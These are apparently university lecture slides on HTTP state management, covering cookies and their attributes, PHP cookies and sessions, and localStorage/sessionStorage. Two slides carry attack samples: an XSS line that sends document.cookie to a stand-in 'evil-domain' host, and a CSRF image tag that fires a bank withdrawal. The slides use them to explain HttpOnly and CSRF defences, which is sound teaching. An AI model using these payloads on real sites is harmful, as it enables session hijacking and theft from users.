State Mangement

COEN 161

HTTP Statelessness

- HTTP doesn’t keep a link between two requests arriving on the same connection
- As far as it is concerned, all requests are independent of one another, and should have enough information to be completed on their own
- At first, this may cause problems
- How do you maintain a shopping cart?
- How does a user stay logged in?
- How do you make sure that the person sending the request is logged in?

HTTP Cookies

- An HTTP cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser
- The browser stores cookies, and may send them back on the next request to the same server
- This is usually used to check if a request came from the same browser, to keep a user logged in, for example
- This preserves the state of your browsing session, which would otherwise be stateless

HTTP Cookies

- Cookies are mainly used for three purposes:
- **Session management**
  - Logins, shopping carts, game scores, or anything else the server should remember
- **Personalization**
  - User preferences, themes, and other settings
- **Tracking**
  - Recording and analyzing user behavior

HTTP Cookies

- In the beginning…
- Cookies were only used for client-side storage, storing data in the user's browser for later use
- While this was perfectly legitimate at first, since cookies were the only way for web applications to store data in the client, they have slow performance, since cookies are sent with every request
- There are now modern APIs for client side storage including:
    - The Web storage API - through the global objects `localStorage and sessionStorage`
    - The IndexedDB API
- Stored cookies can be seen through the developer tools

Creating Cookies

- When receiving an HTTP request, a server can send a `Set-Cookie` header with the response
- The cookie is usually stored by the browser, and then the cookie is sent with requests made to the same server inside a `Cookie` HTTP header
- The cookie stops being sent after an expiration date or duration specified when the cookie is first set by the server
- The cookie can also be restrict to a specific domain and path can be set, limiting where the cookie is sent

Creating Cookies

- The Set-Cookie HTTP response header sends cookies from the server to the client
- A simple cookie is set like this:

```
Set-Cookie: <cookie-name>=<cookie-value>
```

Creating Cookies

- Multiple cookies can be set in one response

```
HTTP/1.0 200 OK

Content-type: text/html

Set-Cookie: yummy_cookie=choco

Set-Cookie: tasty_cookie=strawberry



[page content]
```

Creating Cookies

- Now every time the client sends a request, it will include these cookies as part of the request using the `Cookie` header

```
GET /sample_page.html HTTP/1.1

Host: www.example.org

Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

Session Cookies

- The cookie we just created is called a *session cookie*
- It is deleted when you close your browser/tab
- This is because we didn’t specify any `Expires` or `Max-Age` directives
- However, most modern browsers use *session restoring,* which acts as if the browser was never closed

Permanent Cookies

- Instead of expiring when you close the client, *permanent cookies* expire at a specific date (`Expires`) or after a specific amount of time (`Max-Age`)

  ```
  Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
  ```

- Note: the expiration time is relative to the *client* not the the *server*
- This means someone could manipulate the system time to prevent a cookie from expiring

Secure Cookies

- A secure cookie is only sent to the server with a encrypted request over the HTTPS protocol
- Even with `Secure`, sensitive information should never be stored in cookies, since they are technically insecure and this flag doesn't offer real protection
- With modern browsers, any `http:` connected site, can't set a secure cookie

```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
```

HttpOnly Cookies

- To prevent cross-site scripting (XSS) attacks, HttpOnly cookies can’t be accessed using JavaScript, and are only sent in HTTP requests to the server
- Cookies can normally be accessed through JavaScript's `Document.cookie` API
- For example, cookies that only keep track of server-side sessions don’t need to be accessed by the client, so the `HttpOnly` flag should be set

```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

Scope of Cookies

- The `Domain` and `Path` directives define the scope of the cookie: what URLs the cookies should be sent to
- `Domain` specifies what hosts should receive the cookie
- The default is the host of the current document location, **excluding subdomains**
- If Domain *is* specified, then subdomains are always included

```
Domain=mozilla.org
```

- Then this domain is included

```
developer.mozilla.org
```

Scope of Cookies

- `Path` indicates a URL path that must exist in the requested URL in order to send the `Cookie` header
- Directories are separated by the %x2F ("/") character
- Subdirectories will match as well
- For example, if this is set

```
Path=/docs
```

- These paths will match

```
/docs

/docs/Web/

/docs/Web/HTTP
```

JavaScript Cookies

- New cookies can also be created via JavaScript using the `Document.cookie` property
- If the `HttpOnly` flag is not set, existing cookies can be *accessed* from JavaScript
- Security Note: Cookies available to JavaScript can get stolen through XSS

```
document.cookie = "yummy_cookie=choco";

document.cookie = "tasty_cookie=strawberry";

console.log(document.cookie);

// logs "yummy_cookie=choco; tasty_cookie=strawberry"
```

Cookies and XSS

- Cookies are often used in web application to identify a user and their authenticated session
- Stealing a cookie can lead to hijacking the authenticated user's session
- A hijacker can then impersonate someone else
- Common ways to steal cookies include Social Engineering or exploiting an XSS vulnerability in the application

```
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" +
document.cookie;
```

- The `HttpOnly` cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript

Cross-site Request Forgery (CSRF)

- An example of CSRF is a situation where someone includes an image that isn’t really an image (for example in an unfiltered chat or forum)

```
<img src="http://bank.example.com/withdraw?account=bob&amount=1000&for=mallory">
```

- Instead it really is a request to your bank’s server to withdraw money
- If you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image
- To prevent this, sanitize inputs, add confirmations for requests like this, and give cookies a short lifetime

Other Cookies

- Third-party Cookies
  - If a domain is the same as the domain of the page you are on, the cookies is said to be a *first-party cookie*
  - If the domain is different, it is said to be a *third-party cookie*
  - While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners)
- Do-Not-Track
  - This attribute can be set in an application to prevent tracking on a website
- Zombie cookies and Evercookies
  - A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever
  - They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected

PHP Cookies

- In PHP, a cookie is created with the setcookie() function

  ```
  setcookie(name, value, expire, path, domain, secure, httponly)
  ```

- Only the name parameter is required

PHP Cookies

```
<?php
$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
?>
<html>
<body>
<?php
if(!isset($_COOKIE[$cookie_name])) {
    echo "Cookie named '" . $cookie_name . "' is not set!";
} else {
    echo "Cookie '" . $cookie_name . "' is set!<br>";
    echo "Value is: " . $_COOKIE[$cookie_name];
}
?>
</body>
</html>
```

PHP Cookies

- The setcookie() function must appear BEFORE the <html> tag.
- The value of the cookie is automatically URLencoded when sending the cookie
- The value of the cookie is automatically decoded when receiving the cookie
- To prevent encoding/decoding use setrawcookie() instead

PHP Cookies

- To modify a cookie, just call setcookie() again
- To delete a cookie, reset the cookie with an expiration value in the past

```
<?php
// set the expiration date to one hour ago
setcookie("user", "", time() - 3600);
?>
<html>
<body>
<?php
echo "Cookie 'user' is deleted.";
?>
</body>
</html>
```

PHP Cookies

- The following script uses a test cookie to determine if cookies are enabled

```
<?php
setcookie("test_cookie", "test", time() + 3600, '/');
?>
<html>
<body>
<?php
if(count($_COOKIE) > 0) {
    echo "Cookies are enabled.";
} else {
    echo "Cookies are disabled.";
}
?>
</body>
</html>
```

PHP Sessions

- A session is a way to store information (in variables) to be used across multiple pages
- Unlike a cookie, the information is not stored on the users computer
- When you work with an application, you open it, do some changes, and then you close it
- This is considered a “session” and the computer “knows” who you are and remembers who you are the next time you start a session
- But on the internet there is one problem: the web server does not know who you are or what you do, because the HTTP address doesn't maintain state

PHP Sessions

- Session variables solve this problem by storing user information to be used across multiple pages
- By default, session variables last until the user closes the browser
- To start a session use the session_start() function
- Session variables are set with the PHP superglobal variable: $_SESSION
- Like cookies, sessions must be started before the html tag in your script

PHP Sessions

- The first page

```
<?php
// Start the session
session_start();
?>
<!DOCTYPE html>
<html>
<body>
<?php
// Set session variables
$_SESSION["favcolor"] = "green";
$_SESSION["favanimal"] = "cat";
echo "Session variables are set.";
?>
</body>
</html>
```

PHP Sessions

- The second page

```
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>

<?php
// Echo session variables that were set on previous page
echo "Favorite color is " . $_SESSION["favcolor"] . ".<br>";
echo "Favorite animal is " . $_SESSION["favanimal"] . ".";
?>

</body>
</html>
```

PHP Sessions

- To print all session variables, use the print_r function

```
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>

<?php
print_r($_SESSION);
?>

</body>
</html>
```

PHP Sessions

- To modify session variables, overwrite them in the superglobal variable

```
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>
<?php
// to change a session variable, just overwrite it
$_SESSION["favcolor"] = "yellow";
print_r($_SESSION);
?>
</body>
</html>
```

PHP Sessions

- To remove all global session variables and destroy the session, use session_unset() and session_destroy()

```
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>
<?php
// remove all session variables
session_unset();
// destroy the session
session_destroy();
?>
</body>
</html>
```

Web Storage

- window.localStorage - stores data with no expiration date
- window.sessionStorage - stores data for one session (data is lost when the browser tab is closed)
- Always check to see if local storage is supported

```
if (typeof(Storage) !== "undefined") {

    // Code for localStorage/sessionStorage.

} else {

    // Sorry! No Web Storage support..

}
```

JavaScript Web Storage

- The localStorage object stores the data with no expiration date
- The data will not be deleted when the browser is closed, and will be available the next day, week, or year or until it is removed

```
// Store

localStorage.setItem("lastname", "Smith");

// Retrieve

document.getElementById("result").innerHTML =
localStorage.getItem("lastname");
```

JavaScript Web Storage

- The previous example can also be written like this

```
// Store

localStorage.lastname = "Smith";

// Retrieve

document.getElementById("result").innerHTML =
    localStorage.lastname;
```

JavaScript Web Storage

- To remove an item from localStorage use the removeItem() function

```
localStorage.removeItem("lastname");
```

- Note: Name/value pairs are always stored as strings, you need to convert them to the type you need before using them

JavaScript Web Storage

- This example counts the number of times a user has clicked a button
- This would continue counting until the clickcount was reset or removed

```
if (localStorage.clickcount) {
    localStorage.clickcount = Number(localStorage.clickcount) + 1;
} else {
    localStorage.clickcount = 1;
}
document.getElementById("result").innerHTML = "You have clicked the button " +
localStorage.clickcount + " time(s).";
```

JavaScript Web Storage

- The sessionStorage object is the same as the local storage object
- However, sessionStorage is deleted when a session ends
- This counts the users clicks for a single session

```
if (sessionStorage.clickcount) {
    sessionStorage.clickcount = Number(sessionStorage.clickcount) + 1;
} else {
    sessionStorage.clickcount = 1;
}
document.getElementById("result").innerHTML = "You have clicked the button " +
sessionStorage.clickcount + " time(s) in this session.";
```

Resources

https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless

https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery

https://www.w3schools.com/php/php_cookies.asp

https://www.w3schools.com/html/html5_webstorage.asp